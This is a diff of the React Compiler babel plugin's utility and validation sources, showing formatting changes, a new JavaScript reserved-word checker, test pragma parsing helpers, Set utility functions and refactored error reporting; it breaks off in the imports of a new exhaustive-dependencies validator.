diff --git a/compiler/packages/babel-plugin-react-compiler/src/TypeInference/index.ts b/compiler/packages/babel-plugin-react-compiler/src/TypeInference/index.ts
index adc3a55c7af1..ff7e70d35d70 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/TypeInference/index.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/TypeInference/index.ts
@@ -5,4 +5,4 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-export { inferTypes } from "./InferTypes";
+export {inferTypes} from './InferTypes';
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Utils/ComponentDeclaration.ts b/compiler/packages/babel-plugin-react-compiler/src/Utils/ComponentDeclaration.ts
index a0dd4aa14be7..80175064f998 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Utils/ComponentDeclaration.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Utils/ComponentDeclaration.ts
@@ -5,20 +5,20 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import * as t from "@babel/types";
+import * as t from '@babel/types';
 
 export type ComponentDeclaration = t.FunctionDeclaration & {
   __componentDeclaration: boolean;
 };
 
 export function isComponentDeclaration(
-  node: t.FunctionDeclaration
+  node: t.FunctionDeclaration,
 ): node is ComponentDeclaration {
-  return Object.prototype.hasOwnProperty.call(node, "__componentDeclaration");
+  return Object.prototype.hasOwnProperty.call(node, '__componentDeclaration');
 }
 
 export function parseComponentDeclaration(
-  node: t.FunctionDeclaration
+  node: t.FunctionDeclaration,
 ): ComponentDeclaration | null {
   return isComponentDeclaration(node) ? node : null;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Utils/DisjointSet.ts b/compiler/packages/babel-plugin-react-compiler/src/Utils/DisjointSet.ts
index 8668364758f2..d60c8f9c7c2b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Utils/DisjointSet.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Utils/DisjointSet.ts
@@ -5,7 +5,8 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "../CompilerError";
+import {CompilerError} from '../CompilerError';
+import {GeneratedSource} from '../HIR/HIR';
 
 // Represents items which form disjoint sets.
 export default class DisjointSet<T> {
@@ -19,10 +20,8 @@ export default class DisjointSet<T> {
   union(items: Array<T>): void {
     const first = items.shift();
     CompilerError.invariant(first != null, {
-      reason: "Expected set to be non-empty",
-      description: null,
-      loc: null,
-      suggestions: null,
+      reason: 'Expected set to be non-empty',
+      loc: GeneratedSource,
     });
     /*
      * determine an arbitrary "root" for this set: if the first
@@ -78,6 +77,10 @@ export default class DisjointSet<T> {
     return root;
   }
 
+  has(item: T): boolean {
+    return this.#entries.has(item);
+  }
+
   /*
    * Forces the set into canonical form, ie with all items pointing directly to
    * their root, and returns a Map representing the mapping of items to their roots.
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Utils/HookDeclaration.ts b/compiler/packages/babel-plugin-react-compiler/src/Utils/HookDeclaration.ts
index 4b3e9d9f2153..0e82d26eeeb3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Utils/HookDeclaration.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Utils/HookDeclaration.ts
@@ -5,20 +5,20 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import * as t from "@babel/types";
+import * as t from '@babel/types';
 
 export type HookDeclaration = t.FunctionDeclaration & {
   __hookDeclaration: boolean;
 };
 
 export function isHookDeclaration(
-  node: t.FunctionDeclaration
+  node: t.FunctionDeclaration,
 ): node is HookDeclaration {
-  return Object.prototype.hasOwnProperty.call(node, "__hookDeclaration");
+  return Object.prototype.hasOwnProperty.call(node, '__hookDeclaration');
 }
 
 export function parseHookDeclaration(
-  node: t.FunctionDeclaration
+  node: t.FunctionDeclaration,
 ): HookDeclaration | null {
   return isHookDeclaration(node) ? node : null;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Utils/Keyword.ts b/compiler/packages/babel-plugin-react-compiler/src/Utils/Keyword.ts
new file mode 100644
index 000000000000..3964f4accc85
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Utils/Keyword.ts
@@ -0,0 +1,87 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+/**
+ * https://tc39.es/ecma262/multipage/ecmascript-language-lexical-grammar.html#sec-keywords-and-reserved-words
+ */
+
+/**
+ * Note: `await` and `yield` are contextually allowed as identifiers.
+ *   await: reserved inside async functions and modules
+ *   yield: reserved inside generator functions
+ *
+ * Note: `async` is not reserved.
+ */
+const RESERVED_WORDS = new Set([
+  'break',
+  'case',
+  'catch',
+  'class',
+  'const',
+  'continue',
+  'debugger',
+  'default',
+  'delete',
+  'do',
+  'else',
+  'enum',
+  'export',
+  'extends',
+  'false',
+  'finally',
+  'for',
+  'function',
+  'if',
+  'import',
+  'in',
+  'instanceof',
+  'new',
+  'null',
+  'return',
+  'super',
+  'switch',
+  'this',
+  'throw',
+  'true',
+  'try',
+  'typeof',
+  'var',
+  'void',
+  'while',
+  'with',
+]);
+
+/**
+ * Reserved when a module has a 'use strict' directive.
+ */
+const STRICT_MODE_RESERVED_WORDS = new Set([
+  'let',
+  'static',
+  'implements',
+  'interface',
+  'package',
+  'private',
+  'protected',
+  'public',
+]);
+/**
+ * The names arguments and eval are not keywords, but they are subject to some restrictions in
+ * strict mode code.
+ */
+const STRICT_MODE_RESTRICTED_WORDS = new Set(['eval', 'arguments']);
+
+/**
+ * Conservative check for whether an identifer name is reserved or not. We assume that code is
+ * written with strict mode.
+ */
+export function isReservedWord(identifierName: string): boolean {
+  return (
+    RESERVED_WORDS.has(identifierName) ||
+    STRICT_MODE_RESERVED_WORDS.has(identifierName) ||
+    STRICT_MODE_RESTRICTED_WORDS.has(identifierName)
+  );
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Utils/Result.ts b/compiler/packages/babel-plugin-react-compiler/src/Utils/Result.ts
index 48205829a516..32e3ec82c592 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Utils/Result.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Utils/Result.ts
@@ -90,10 +90,13 @@ export function Ok<T>(val: T): OkImpl<T> {
 }
 
 class OkImpl<T> implements Result<T, never> {
-  constructor(private val: T) {}
+  #val: T;
+  constructor(val: T) {
+    this.#val = val;
+  }
 
   map<U>(fn: (val: T) => U): Result<U, never> {
-    return new OkImpl(fn(this.val));
+    return new OkImpl(fn(this.#val));
   }
 
   mapErr<F>(_fn: (val: never) => F): Result<T, F> {
@@ -101,15 +104,15 @@ class OkImpl<T> implements Result<T, never> {
   }
 
   mapOr<U>(_fallback: U, fn: (val: T) => U): U {
-    return fn(this.val);
+    return fn(this.#val);
   }
 
   mapOrElse<U>(_fallback: () => U, fn: (val: T) => U): U {
-    return fn(this.val);
+    return fn(this.#val);
   }
 
   andThen<U>(fn: (val: T) => Result<U, never>): Result<U, never> {
-    return fn(this.val);
+    return fn(this.#val);
   }
 
   and<U>(res: Result<U, never>): Result<U, never> {
@@ -124,39 +127,39 @@ class OkImpl<T> implements Result<T, never> {
     return this;
   }
 
-  isOk(): boolean {
+  isOk(): this is OkImpl<T> {
     return true;
   }
 
-  isErr(): boolean {
+  isErr(): this is ErrImpl<never> {
     return false;
   }
 
   expect(_msg: string): T {
-    return this.val;
+    return this.#val;
   }
 
   expectErr(msg: string): never {
-    throw new Error(`${msg}: ${this.val}`);
+    throw new Error(`${msg}: ${this.#val}`);
   }
 
   unwrap(): T {
-    return this.val;
+    return this.#val;
   }
 
   unwrapOr(_fallback: T): T {
-    return this.val;
+    return this.#val;
   }
 
   unwrapOrElse(_fallback: (val: never) => T): T {
-    return this.val;
+    return this.#val;
   }
 
   unwrapErr(): never {
-    if (this.val instanceof Error) {
-      throw this.val;
+    if (this.#val instanceof Error) {
+      throw this.#val;
     }
-    throw new Error(`Can't unwrap \`Ok\` to \`Err\`: ${this.val}`);
+    throw new Error(`Can't unwrap \`Ok\` to \`Err\`: ${this.#val}`);
   }
 }
 
@@ -165,14 +168,17 @@ export function Err<E>(val: E): ErrImpl<E> {
 }
 
 class ErrImpl<E> implements Result<never, E> {
-  constructor(private val: E) {}
+  #val: E;
+  constructor(val: E) {
+    this.#val = val;
+  }
 
   map<U>(_fn: (val: never) => U): Result<U, E> {
     return this;
   }
 
   mapErr<F>(fn: (val: E) => F): Result<never, F> {
-    return new ErrImpl(fn(this.val));
+    return new ErrImpl(fn(this.#val));
   }
 
   mapOr<U>(fallback: U, _fn: (val: never) => U): U {
@@ -196,30 +202,30 @@ class ErrImpl<E> implements Result<never, E> {
   }
 
   orElse<F>(fn: (val: E) => ErrImpl<F>): Result<never, F> {
-    return fn(this.val);
+    return fn(this.#val);
   }
 
-  isOk(): boolean {
+  isOk(): this is OkImpl<never> {
     return false;
   }
 
-  isErr(): boolean {
+  isErr(): this is ErrImpl<E> {
     return true;
   }
 
   expect(msg: string): never {
-    throw new Error(`${msg}: ${this.val}`);
+    throw new Error(`${msg}: ${this.#val}`);
   }
 
   expectErr(_msg: string): E {
-    return this.val;
+    return this.#val;
   }
 
   unwrap(): never {
-    if (this.val instanceof Error) {
-      throw this.val;
+    if (this.#val instanceof Error) {
+      throw this.#val;
     }
-    throw new Error(`Can't unwrap \`Err\` to \`Ok\`: ${this.val}`);
+    throw new Error(`Can't unwrap \`Err\` to \`Ok\`: ${this.#val}`);
   }
 
   unwrapOr<T>(fallback: T): T {
@@ -227,10 +233,10 @@ class ErrImpl<E> implements Result<never, E> {
   }
 
   unwrapOrElse<T>(fallback: (val: E) => T): T {
-    return fallback(this.val);
+    return fallback(this.#val);
   }
 
   unwrapErr(): E {
-    return this.val;
+    return this.#val;
   }
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Utils/Stack.ts b/compiler/packages/babel-plugin-react-compiler/src/Utils/Stack.ts
index d662794e862d..2ddfd3827aad 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Utils/Stack.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Utils/Stack.ts
@@ -104,7 +104,7 @@ class Empty<T> implements StackInterface<T> {
     return null;
   }
   print(_: (node: T) => string): string {
-    return "";
+    return '';
   }
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Utils/TestUtils.ts b/compiler/packages/babel-plugin-react-compiler/src/Utils/TestUtils.ts
new file mode 100644
index 000000000000..ac5f40e00d9e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Utils/TestUtils.ts
@@ -0,0 +1,171 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {fromZodError} from 'zod-validation-error/v4';
+import {CompilerError} from '../CompilerError';
+import {
+  CompilationMode,
+  defaultOptions,
+  parsePluginOptions,
+  PluginOptions,
+} from '../Entrypoint';
+import {EnvironmentConfig} from '..';
+import {GeneratedSource} from '../HIR/HIR';
+import {
+  EnvironmentConfigSchema,
+  PartialEnvironmentConfig,
+} from '../HIR/Environment';
+import {Err, Ok, Result} from './Result';
+import {hasOwnProperty} from './utils';
+
+function tryParseTestPragmaValue(val: string): Result<unknown, unknown> {
+  try {
+    let parsedVal: unknown;
+    const stringMatch = /^"([^"]*)"$/.exec(val);
+    if (stringMatch && stringMatch.length > 1) {
+      parsedVal = stringMatch[1];
+    } else {
+      parsedVal = JSON.parse(val);
+    }
+    return Ok(parsedVal);
+  } catch (e) {
+    return Err(e);
+  }
+}
+
+const testComplexConfigDefaults: PartialEnvironmentConfig = {
+  validateNoCapitalizedCalls: [],
+  enableEmitInstrumentForget: {
+    fn: {
+      source: 'react-compiler-runtime',
+      importSpecifierName: 'useRenderCounter',
+    },
+    gating: {
+      source: 'react-compiler-runtime',
+      importSpecifierName: 'shouldInstrument',
+    },
+    globalGating: 'DEV',
+  },
+  enableEmitHookGuards: {
+    source: 'react-compiler-runtime',
+    importSpecifierName: '$dispatcherGuard',
+  },
+};
+
+function* splitPragma(
+  pragma: string,
+): Generator<{key: string; value: string | null}> {
+  for (const entry of pragma.split('@')) {
+    const keyVal = entry.trim();
+    const valIdx = keyVal.indexOf(':');
+    if (valIdx === -1) {
+      yield {key: keyVal.split(' ', 1)[0], value: null};
+    } else {
+      yield {key: keyVal.slice(0, valIdx), value: keyVal.slice(valIdx + 1)};
+    }
+  }
+}
+
+/**
+ * For snap test fixtures and playground only.
+ */
+function parseConfigPragmaEnvironmentForTest(
+  pragma: string,
+  defaultConfig: PartialEnvironmentConfig,
+): EnvironmentConfig {
+  // throw early if the defaults are invalid
+  EnvironmentConfigSchema.parse(defaultConfig);
+
+  const maybeConfig: Partial<Record<keyof EnvironmentConfig, unknown>> =
+    defaultConfig;
+
+  for (const {key, value: val} of splitPragma(pragma)) {
+    if (!hasOwnProperty(EnvironmentConfigSchema.shape, key)) {
+      continue;
+    }
+    const isSet = val == null || val === 'true';
+    if (isSet && key in testComplexConfigDefaults) {
+      maybeConfig[key] = testComplexConfigDefaults[key];
+    } else if (isSet) {
+      maybeConfig[key] = true;
+    } else if (val === 'false') {
+      maybeConfig[key] = false;
+    } else if (val) {
+      const parsedVal = tryParseTestPragmaValue(val).unwrap();
+      if (key === 'customMacros' && typeof parsedVal === 'string') {
+        maybeConfig[key] = [parsedVal.split('.')[0]];
+        continue;
+      }
+      maybeConfig[key] = parsedVal;
+    }
+  }
+  const config = EnvironmentConfigSchema.safeParse(maybeConfig);
+  if (config.success) {
+    /**
+     * Unless explicitly enabled, do not insert HMR handling code
+     * in test fixtures or playground to reduce visual noise.
+     */
+    if (config.data.enableResetCacheOnSourceFileChanges == null) {
+      config.data.enableResetCacheOnSourceFileChanges = false;
+    }
+    return config.data;
+  }
+  CompilerError.invariant(false, {
+    reason: 'Internal error, could not parse config from pragma string',
+    description: `${fromZodError(config.error)}`,
+    loc: GeneratedSource,
+  });
+}
+
+const testComplexPluginOptionDefaults: PluginOptions = {
+  gating: {
+    source: 'ReactForgetFeatureFlag',
+    importSpecifierName: 'isForgetEnabled_Fixtures',
+  },
+};
+export function parseConfigPragmaForTests(
+  pragma: string,
+  defaults: {
+    compilationMode: CompilationMode;
+    environment?: PartialEnvironmentConfig;
+  },
+): PluginOptions {
+  const environment = parseConfigPragmaEnvironmentForTest(
+    pragma,
+    defaults.environment ?? {},
+  );
+  const options: Record<keyof PluginOptions, unknown> = {
+    ...defaultOptions,
+    panicThreshold: 'all_errors',
+    compilationMode: defaults.compilationMode,
+    environment,
+  };
+  for (const {key, value: val} of splitPragma(pragma)) {
+    if (!hasOwnProperty(defaultOptions, key)) {
+      continue;
+    }
+    const isSet = val == null || val === 'true';
+    if (isSet && key in testComplexPluginOptionDefaults) {
+      options[key] = testComplexPluginOptionDefaults[key];
+    } else if (isSet) {
+      options[key] = true;
+    } else if (val === 'false') {
+      options[key] = false;
+    } else if (val != null) {
+      const parsedVal = tryParseTestPragmaValue(val).unwrap();
+      if (key === 'target' && parsedVal === 'donotuse_meta_internal') {
+        options[key] = {
+          kind: parsedVal,
+          runtimeModule: 'react',
+        };
+      } else {
+        options[key] = parsedVal;
+      }
+    }
+  }
+  return parsePluginOptions(options);
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Utils/logger.ts b/compiler/packages/babel-plugin-react-compiler/src/Utils/logger.ts
deleted file mode 100644
index 125c291602c5..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/Utils/logger.ts
+++ /dev/null
@@ -1,109 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import generate from "@babel/generator";
-import * as t from "@babel/types";
-import chalk from "chalk";
-import { HIR, HIRFunction, ReactiveFunction } from "../HIR/HIR";
-import { printFunction, printHIR } from "../HIR/PrintHIR";
-import { CodegenFunction, printReactiveFunction } from "../ReactiveScopes";
-
-let ENABLED: boolean = false;
-
-let lastLogged: string;
-
-export function toggleLogging(enabled: boolean): void {
-  ENABLED = enabled;
-}
-
-export function logDebug(step: string, value: string): void {
-  if (ENABLED) {
-    process.stdout.write(`${chalk.green(step)}:\n${value}\n\n`);
-  }
-}
-
-export function logHIR(step: string, ir: HIR): void {
-  if (ENABLED) {
-    const printed = printHIR(ir);
-    if (printed !== lastLogged) {
-      lastLogged = printed;
-      process.stdout.write(`${chalk.green(step)}:\n${printed}\n\n`);
-    } else {
-      process.stdout.write(`${chalk.blue(step)}: (no change)\n\n`);
-    }
-  }
-}
-
-export function logCodegenFunction(step: string, fn: CodegenFunction): void {
-  if (ENABLED) {
-    let printed: string | null = null;
-    try {
-      const node = t.functionDeclaration(
-        fn.id,
-        fn.params,
-        fn.body,
-        fn.generator,
-        fn.async
-      );
-      const ast = generate(node);
-      printed = ast.code;
-    } catch (e) {
-      let errMsg: string;
-      if (
-        typeof e === "object" &&
-        e != null &&
-        "message" in e &&
-        typeof e.message === "string"
-      ) {
-        errMsg = e.message.toString();
-      } else {
-        errMsg = "[empty]";
-      }
-      console.log("Error formatting AST: " + errMsg);
-    }
-    if (printed === null) {
-      return;
-    }
-    if (printed !== lastLogged) {
-      lastLogged = printed;
-      process.stdout.write(`${chalk.green(step)}:\n${printed}\n\n`);
-    } else {
-      process.stdout.write(`${chalk.blue(step)}: (no change)\n\n`);
-    }
-  }
-}
-
-export function logHIRFunction(step: string, fn: HIRFunction): void {
-  if (ENABLED) {
-    const printed = printFunction(fn);
-    if (printed !== lastLogged) {
-      lastLogged = printed;
-      process.stdout.write(`${chalk.green(step)}:\n${printed}\n\n`);
-    } else {
-      process.stdout.write(`${chalk.blue(step)}: (no change)\n\n`);
-    }
-  }
-}
-
-export function logReactiveFunction(step: string, fn: ReactiveFunction): void {
-  if (ENABLED) {
-    const printed = printReactiveFunction(fn);
-    if (printed !== lastLogged) {
-      lastLogged = printed;
-      process.stdout.write(`${chalk.green(step)}:\n${printed}\n\n`);
-    } else {
-      process.stdout.write(`${chalk.blue(step)}: (no change)\n\n`);
-    }
-  }
-}
-
-export function log(fn: () => string): void {
-  if (ENABLED) {
-    const message = fn();
-    process.stdout.write(message.trim() + "\n\n");
-  }
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Utils/todo.ts b/compiler/packages/babel-plugin-react-compiler/src/Utils/todo.ts
index 444bf4ef996b..d5a284c5d8d3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Utils/todo.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Utils/todo.ts
@@ -6,14 +6,14 @@
  */
 
 export default function todo(message: string): never {
-  throw new Error("TODO: " + message);
+  throw new Error('TODO: ' + message);
 }
 
 export function todoInvariant(
   condition: unknown,
-  message: string
+  message: string,
 ): asserts condition {
   if (!condition) {
-    throw new Error("TODO: " + message);
+    throw new Error('TODO: ' + message);
   }
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Utils/utils.ts b/compiler/packages/babel-plugin-react-compiler/src/Utils/utils.ts
index c02e81325567..897614015f54 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Utils/utils.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Utils/utils.ts
@@ -5,7 +5,7 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { NodePath } from "@babel/traverse";
+import {NodePath} from '@babel/traverse';
 
 /*
  * Trigger an exhaustivess check in TypeScript and throw at runtime.
@@ -33,22 +33,33 @@ export function assertExhaustive(_: never, errorMsg: string): never {
 // Modifies @param array in place, retaining only the items where the predicate returns true.
 export function retainWhere<T>(
   array: Array<T>,
-  predicate: (item: T) => boolean
+  predicate: (item: T, index: number) => boolean,
 ): void {
   let writeIndex = 0;
   for (let readIndex = 0; readIndex < array.length; readIndex++) {
     const item = array[readIndex];
-    if (predicate(item) === true) {
+    if (predicate(item, readIndex) === true) {
       array[writeIndex++] = item;
     }
   }
   array.length = writeIndex;
 }
 
+export function retainWhere_Set<T>(
+  items: Set<T>,
+  predicate: (item: T) => boolean,
+): void {
+  for (const item of items) {
+    if (!predicate(item)) {
+      items.delete(item);
+    }
+  }
+}
+
 export function getOrInsertWith<U, V>(
   m: Map<U, V>,
   key: U,
-  makeDefault: () => V
+  makeDefault: () => V,
 ): V {
   if (m.has(key)) {
     return m.get(key) as V;
@@ -62,7 +73,7 @@ export function getOrInsertWith<U, V>(
 export function getOrInsertDefault<U, V>(
   m: Map<U, V>,
   key: U,
-  defaultValue: V
+  defaultValue: V,
 ): V {
   if (m.has(key)) {
     return m.get(key) as V;
@@ -71,25 +82,93 @@ export function getOrInsertDefault<U, V>(
     return defaultValue;
   }
 }
-
-export function Set_union<T>(a: Set<T>, b: Set<T>): Set<T> {
-  const union = new Set<T>();
+export function Set_equal<T>(a: ReadonlySet<T>, b: ReadonlySet<T>): boolean {
+  if (a.size !== b.size) {
+    return false;
+  }
   for (const item of a) {
-    if (b.has(item)) {
-      union.add(item);
+    if (!b.has(item)) {
+      return false;
     }
   }
+  return true;
+}
+
+export function Set_union<T>(a: ReadonlySet<T>, b: ReadonlySet<T>): Set<T> {
+  const union = new Set<T>(a);
+  for (const item of b) {
+    union.add(item);
+  }
   return union;
 }
 
+export function Set_intersect<T>(sets: Array<ReadonlySet<T>>): Set<T> {
+  if (sets.length === 0 || sets.some(s => s.size === 0)) {
+    return new Set();
+  } else if (sets.length === 1) {
+    return new Set(sets[0]);
+  }
+  const result: Set<T> = new Set();
+  const first = sets[0];
+  outer: for (const e of first) {
+    for (let i = 1; i < sets.length; i++) {
+      if (!sets[i].has(e)) {
+        continue outer;
+      }
+    }
+    result.add(e);
+  }
+  return result;
+}
+
+/**
+ * @returns `true` if `a` is a superset of `b`.
+ */
+export function Set_isSuperset<T>(
+  a: ReadonlySet<T>,
+  b: ReadonlySet<T>,
+): boolean {
+  for (const v of b) {
+    if (!a.has(v)) {
+      return false;
+    }
+  }
+  return true;
+}
+
+export function Iterable_some<T>(
+  iter: Iterable<T>,
+  pred: (item: T) => boolean,
+): boolean {
+  for (const item of iter) {
+    if (pred(item)) {
+      return true;
+    }
+  }
+  return false;
+}
+
 export function nonNull<T extends NonNullable<U>, U>(
-  value: T | null | undefined
+  value: T | null | undefined,
 ): value is T {
   return value != null;
 }
 
+export function Set_filter<T>(
+  source: ReadonlySet<T>,
+  fn: (arg: T) => boolean,
+): Set<T> {
+  const result = new Set<T>();
+  for (const entry of source) {
+    if (fn(entry)) {
+      result.add(entry);
+    }
+  }
+  return result;
+}
+
 export function hasNode<T>(
-  input: NodePath<T | null | undefined>
+  input: NodePath<T | null | undefined>,
 ): input is NodePath<NonNullable<T>> {
   /*
    * Internal babel is on an older version that does not have hasNode (v7.17)
@@ -101,7 +180,7 @@ export function hasNode<T>(
 
 export function hasOwnProperty<T>(
   obj: T,
-  key: string | number | symbol
+  key: string | number | symbol,
 ): key is keyof T {
   return Object.prototype.hasOwnProperty.call(obj, key);
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateContextVariableLValues.ts b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateContextVariableLValues.ts
index 11de9cba7bc7..933a10f5c676 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateContextVariableLValues.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateContextVariableLValues.ts
@@ -5,13 +5,12 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "..";
-import { HIRFunction, IdentifierId, Place } from "../HIR";
-import { printPlace } from "../HIR/PrintHIR";
-import {
-  eachInstructionValueLValue,
-  eachPatternOperand,
-} from "../HIR/visitors";
+import {CompilerDiagnostic, CompilerError} from '..';
+import {ErrorCategory} from '../CompilerError';
+import {Environment} from '../HIR/Environment';
+import {HIRFunction, IdentifierId, Place} from '../HIR';
+import {printPlace} from '../HIR/PrintHIR';
+import {eachInstructionValueLValue, eachPatternOperand} from '../HIR/visitors';
 
 /**
  * Validates that all store/load references to a given named identifier align with the
@@ -20,63 +19,70 @@ import {
  */
 export function validateContextVariableLValues(fn: HIRFunction): void {
   const identifierKinds: IdentifierKinds = new Map();
-  validateContextVariableLValuesImpl(fn, identifierKinds);
+  validateContextVariableLValuesImpl(fn, identifierKinds, fn.env);
 }
 
 function validateContextVariableLValuesImpl(
   fn: HIRFunction,
-  identifierKinds: IdentifierKinds
+  identifierKinds: IdentifierKinds,
+  env: Environment,
 ): void {
   for (const [, block] of fn.body.blocks) {
     for (const instr of block.instructions) {
-      const { value } = instr;
+      const {value} = instr;
       switch (value.kind) {
-        case "DeclareContext":
-        case "StoreContext": {
-          visit(identifierKinds, value.lvalue.place, "context");
+        case 'DeclareContext':
+        case 'StoreContext': {
+          visit(identifierKinds, value.lvalue.place, 'context', env);
           break;
         }
-        case "LoadContext": {
-          visit(identifierKinds, value.place, "context");
+        case 'LoadContext': {
+          visit(identifierKinds, value.place, 'context', env);
           break;
         }
-        case "StoreLocal":
-        case "DeclareLocal": {
-          visit(identifierKinds, value.lvalue.place, "local");
+        case 'StoreLocal':
+        case 'DeclareLocal': {
+          visit(identifierKinds, value.lvalue.place, 'local', env);
           break;
         }
-        case "LoadLocal": {
-          visit(identifierKinds, value.place, "local");
+        case 'LoadLocal': {
+          visit(identifierKinds, value.place, 'local', env);
           break;
         }
-        case "PostfixUpdate":
-        case "PrefixUpdate": {
-          visit(identifierKinds, value.lvalue, "local");
+        case 'PostfixUpdate':
+        case 'PrefixUpdate': {
+          visit(identifierKinds, value.lvalue, 'local', env);
           break;
         }
-        case "Destructure": {
+        case 'Destructure': {
           for (const lvalue of eachPatternOperand(value.lvalue.pattern)) {
-            visit(identifierKinds, lvalue, "destructure");
+            visit(identifierKinds, lvalue, 'destructure', env);
           }
           break;
         }
-        case "ObjectMethod":
-        case "FunctionExpression": {
+        case 'ObjectMethod':
+        case 'FunctionExpression': {
           validateContextVariableLValuesImpl(
             value.loweredFunc.func,
-            identifierKinds
+            identifierKinds,
+            env,
           );
           break;
         }
         default: {
           for (const _ of eachInstructionValueLValue(value)) {
-            CompilerError.throwTodo({
-              reason:
-                "ValidateContextVariableLValues: unhandled instruction variant",
-              loc: value.loc,
-              description: `Handle '${value.kind} lvalues`,
-              suggestions: null,
-            });
+            fn.env.recordError(
+              CompilerDiagnostic.create({
+                category: ErrorCategory.Todo,
+                reason:
+                  'ValidateContextVariableLValues: unhandled instruction variant',
+                description: `Handle '${value.kind} lvalues`,
+              }).withDetails({
+                kind: 'error',
+                loc: value.loc,
+                message: null,
+              }),
+            );
           }
         }
       }
@@ -86,37 +92,43 @@ function validateContextVariableLValuesImpl(
 
 type IdentifierKinds = Map<
   IdentifierId,
-  { place: Place; kind: "local" | "context" | "destructure" }
+  {place: Place; kind: 'local' | 'context' | 'destructure'}
 >;
 
 function visit(
   identifiers: IdentifierKinds,
   place: Place,
-  kind: "local" | "context" | "destructure"
+  kind: 'local' | 'context' | 'destructure',
+  env: Environment,
 ): void {
   const prev = identifiers.get(place.identifier.id);
   if (prev !== undefined) {
-    const wasContext = prev.kind === "context";
-    const isContext = kind === "context";
+    const wasContext = prev.kind === 'context';
+    const isContext = kind === 'context';
     if (wasContext !== isContext) {
-      if (prev.kind === "destructure" || kind === "destructure") {
-        CompilerError.throwTodo({
-          reason: `Support destructuring of context variables`,
-          loc: kind === "destructure" ? place.loc : prev.place.loc,
-          description: null,
-          suggestions: null,
-        });
+      if (prev.kind === 'destructure' || kind === 'destructure') {
+        env.recordError(
+          CompilerDiagnostic.create({
+            category: ErrorCategory.Todo,
+            reason: `Support destructuring of context variables`,
+            description: null,
+          }).withDetails({
+            kind: 'error',
+            loc: kind === 'destructure' ? place.loc : prev.place.loc,
+            message: null,
+          }),
+        );
+        return;
       }
 
       CompilerError.invariant(false, {
-        reason: `Expected all references to a variable to be consistently local or context references`,
+        reason:
+          'Expected all references to a variable to be consistently local or context references',
+        description: `Identifier ${printPlace(place)} is referenced as a ${kind} variable, but was previously referenced as a ${prev.kind} variable`,
+        message: `this is ${prev.kind}`,
         loc: place.loc,
-        description: `Identifier ${printPlace(
-          place
-        )} is referenced as a ${kind} variable, but was previously referenced as a ${prev} variable`,
-        suggestions: null,
       });
     }
   }
-  identifiers.set(place.identifier.id, { place, kind });
+  identifiers.set(place.identifier.id, {place, kind});
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateExhaustiveDependencies.ts b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateExhaustiveDependencies.ts
new file mode 100644
index 000000000000..c418b7770387
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateExhaustiveDependencies.ts
@@ -0,0 +1,1119 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import prettyFormat from 'pretty-format';
+import {
+  CompilerDiagnostic,
+  CompilerError,
+  CompilerSuggestionOperation,
+  Effect,
+  SourceLocation,
+} from '..';
+import {CompilerSuggestion, ErrorCategory} from '../CompilerError';
+import {
+  areEqualPaths,
+  BlockId,
+  DependencyPath,
+  FinishMemoize,
+  GeneratedSource,
+  HIRFunction,
+  Identifier,
+  IdentifierId,
+  InstructionKind,
+  isEffectEventFunctionType,
+  isPrimitiveType,
+  isStableType,
+  isSubPath,
+  isSubPathIgnoringOptionals,
+  isUseEffectHookType,
+  isUseInsertionEffectHookType,
+  isUseLayoutEffectHookType,
+  isUseRefType,
+  LoadGlobal,
+  ManualMemoDependency,
+  Place,
+  StartMemoize,
+} from '../HIR';
+import {
